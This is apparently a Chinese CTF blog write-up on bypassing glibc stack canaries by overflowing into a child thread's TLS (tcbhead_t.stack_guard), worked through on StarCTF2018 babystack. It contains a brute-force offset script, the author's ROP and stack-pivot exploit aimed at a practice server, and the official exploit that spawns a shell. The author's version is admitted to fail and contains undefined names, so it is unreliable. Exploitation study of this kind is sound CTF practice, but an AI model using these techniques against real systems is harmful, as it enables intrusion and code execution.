Canary-TLS


[TOC]

简介

在linux中,我们可以通过修改子线程的线程局部存储(TLS)来达到篡改 canary 目的。

TLS和thread stack

线程局部存储(Thread Local Storage)是一种机制,它主要是为了避免多个线程同时访存同一全局变量或者静态变量时所导致的冲突。通过TLS机制,为每一个使用该全局变量的线程都提供一个该变量的副本,每一个线程均可以独立地改变自己的副本,而不会影响其他线程。(跟windows里面的TLS作用一样

这个机制在不同的架构和操作系统上的实现不同,本例实现在x86-64,glibc。在本例中,mmap也被用来创建线程,这意味着如果TLS接近vulnerable address,它可能会被修改。在glibc实现中,TLS被指向一个segment register fs,它的结构tcbhead_t定义如下:

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
               thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  int gscope_flag;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  ...
} tcbhead_t;

tcb 指针和 self 指针,实际指向的都是同一个地址,即 struct pthread 结构体(亦或者是 struct tcbhead_t 本身,这两个结构体地址相同)。它包括了stack_guard,即被称作canary的随机数,用来防止栈溢出。它的工作模式是:

  • 当一个函数被调用,canary从tcbhead_t.stack_guard被放到栈上。
  • 在函数调用结束的时候,栈上的值被和tcbhead_t.stack_guard比较,如果两个值是不相等的,将会终止程序。

首先主线程 TLS 位置较为随机,所以想通过修改主线程 TLS 来改主线程 canary 几乎是不可能的。

但研究表明,glibc在TLS实现上存在问题,线程在pthread_create的帮助下创建,然后需要给这个新线程选择TLS。

pthread_create 会创建线程栈(每个线程都有一个独立的栈),这个栈可以是用先前的缓存(例如重用被终止线程的栈),也可以是 mmap 出的一个新的栈。有趣的是,新线程的 TCB 会在这个线程栈上创建,那这就使得子线程的 TCB 地址对用户来说不再是随机的,因此可以通过子线程的栈溢出来覆写子线程 TCB 的 Canary

需要注意的是,在 allocate_stack 这个为子线程分配栈的函数中,TCB(pthread 结构体)将会被放置在整个线程栈的栈底,即线程栈的最底部(也就是最高地址处)存放的是 TCB。

然后THREAD_COPY_STACK_GUARD这个宏调用会把当前线程的 canary 复制一份进新线程的 TCB 中。注意控制流的基本单位是线程,虽然每个线程的 canary 值都相同,但在验证 canary 时,只会去获取当前 TCB 上存储的 canary 值。也就是说如果以非法手段将子线程的 canary 值改变,那么这种改变不影响其他线程的执行。

主线程:

  • 可以看到主线程的TLS是由mmap函数创建的
  • 并且可以看到:tcb,self都是指向0x7ffff7fdc700的
  • 可以看到:canary = stack_guard = 0xf04613e573f86400

StarCTF2018 babystack例题

知识点:

-

程序开启了RELRO、Canary和NX保护

程序逻辑:

  • main函数创建了一个子线程
  • 子线程处理函数中,首先输入要发送信息的大小size,接着向s中读取size个字符,size<=0x10000

漏洞:

  • s的大小只有0x1000,而size最大为0x10000存在溢出(溢出字节非常大
  • 这里有子线程,且溢出字节很大,所以考虑覆盖TLS去绕过canary
  • 栈迁移+one_gadget直接getshell

问题1:TLS中存储的canary在fs:0x28处,但是我们不知道具体在哪里,所以只能爆破:

(当然这里也没必要爆破,因为溢出足够大,所以我们往后覆盖多一点总能覆盖到canary,但是如果覆盖到一些重要数据,可以会导致程序直接崩溃。

  • 爆破出TLS中存储的canary距离输入点为6128
from pwn import *
context.log_level = 'debug'
offset = 0x1020 + 8
count = 1
while True:
    print count
    io = process('./bs')
    io.recvuntil("How many bytes do you want to send?")
    io.sendline(str(offset))
    main_addr = 0x4009E7
    payload  = 'a'*0x1010
    payload += p64(0xdeadbeef)
    payload += p64(main_addr)
    payload += 'a'*(offset-len(payload))
    io.send(payload)
    temp = io.recvall()
    if "Welcome" in temp:
        io.close()
        break
    else:
        offset += 8 #因为是x64
        count += 1
        io.close()

问题2:要想找到one_gadget,得先知道libc_base,所以这里需要泄漏puts的got表项内容,但是我们只有一次输入,所以我们得构造一条ROP链先泄漏出libc,然后在向bss段读取one_gadget,最后栈迁移过去执行one_gadget。

最终exp:(远程,本地都没通,用官方exp也没同,可能是libc的问题,但是我的glibc-all-in-one出了些问题,搞了很久,不想搞了)

总结一波:

  • 针对多线程,我们可以修改TLS的canary,从而绕过canary(前提是溢出长度足够大。
  • 对于栈迁移,在有read函数的情况下,可以利用栈迁移到bss段,一般是bss+0x300的位置开始写。如果可以泄漏栈地址,就可以直接写到栈中,然后ebp写esp的地址,leave就会跳到esp去执行我们写入的东西。

exp:

from pwn import *
context.log_level = 'debug'

"""
offset = 0x1020 + 8
count = 1
while True:
    print count
    io = process('./bs')
    io.recvuntil("How many bytes do you want to send?")
    io.sendline(str(offset))
    ret_addr = 0x4009E7
    payload  = 'a'*0x1010
    payload += p64(0xdeadbeef)
    payload += p64(ret_addr)
    payload += 'a'*(offset-len(payload))
    io.send(payload)
    temp = io.recvall()
    if "Welcome" in temp:
        io.close()
        break
    else:
        offset += 8
        count += 1
        io.close()
"""
def exp():
    offset = 6128
    #io = process('./bs')
    io = remote('node4.buuoj.cn', 26773)
    elf = ELF('./bs')
    libc = elf.libc

    fakerbp = elf.bss() + 0x300
    ret_addr = 0x4009E7
    pop_rdi_ret = 0x400C03
    pop_rsi_r15_ret = 0x400C01
    leave_ret = 0x400955

    payload  = 'A'*0x1010
    payload += p64(fakerbp)
    #leak libc
    payload += p64(pop_rdi_ret)
    payload += p64(elf.got['puts'])
    payload += p64(elf.symbols['puts'])
    #read one_gadget to bss
    payload += p64(pop_rdi_ret)
    payload += p64(0)
    payload += p64(pop_rsi_r15_ret)
    payload += p64(fakerbp)
    payload += p64(0)
    payload += p64(elf.symbols['read'])
    payload += p64(leave_ret)
    payload  = payload.ljust(offset, 'A')
    
    io.recvuntil("How many bytes do you want to send?\n")
    io.sendline(str(offset))
    sleep(0.01)
    io.send(payload)
    
    io.recvuntil("It's time to say goodbye.\n")
    puts_addr = u64(p.recv()[:6].ljust(8,'\x00'))
    
    print hex(puts_addr)
    getshell_libc = 0xf03a4
    base_addr = puts_addr - puts_libc
    one_gadget = base_addr + getshell_libc

    payload  = p64(0xdeadbeef)
    payload += p64(one_gadget)
    io.send(payload)
    
    io.interactive()

if __name__ == '__main__':
    exp()

官方exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
from time import sleep
import os
import sys

elfPath = "./bs"
libcPath = "./libc.so.6"
remoteAddr = "47.100.96.94"
remotePort = 9999

context.binary = elfPath
elf = context.binary
if sys.argv[1] == "l":
    io = process(elfPath)
    libc = elf.libc

else:
    if sys.argv[1] == "d":
        io = process(elfPath, env = {"LD_PRELOAD": libcPath})
    else:
        io = remote(remoteAddr, remotePort)
    if libcPath:
        libc = ELF(libcPath)

context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
success = lambda name, value: log.success("{} -> {:#x}".format(name, value))

def DEBUG():
    base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
    raw_input("DEBUG: ")

if __name__ == "__main__":
    '''
    0x0000000000400c03 : pop rdi ; ret
    0x0000000000400c01 : pop rsi ; pop r15 ; ret
    0x0000000000400955 : leave ; ret
    '''
    prdi = 0x0000000000400c03
    prsip = 0x0000000000400c01
    leaveret = 0x0000000000400955
    libc.sym['one_gadget'] = 0xf1147
    base = elf.bss() + 0x500

    payload = flat('\0' * 0x1010, base - 0x8, prdi, elf.got['puts'], elf.plt['puts'])
    payload += flat(prdi, 0, prsip, base, 0, elf.plt['read'])
    payload += flat(leaveret)
    payload = payload.ljust(0x2000, '\0')

    io.sendlineafter("send?\n", str(0x2000))
    io.send(payload)

    libc.address = u64(io.recvuntil('\x7f')[-6: ] + '\0\0') - libc.sym['puts']
    success("libc", libc.address)
    io.send(p64(libc.sym['one_gadget']))

    io.interactive()

参考文章:

New bypass and protection techniques for ASLR on Linux


文章作者: XiaoaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaoaYa !
  目录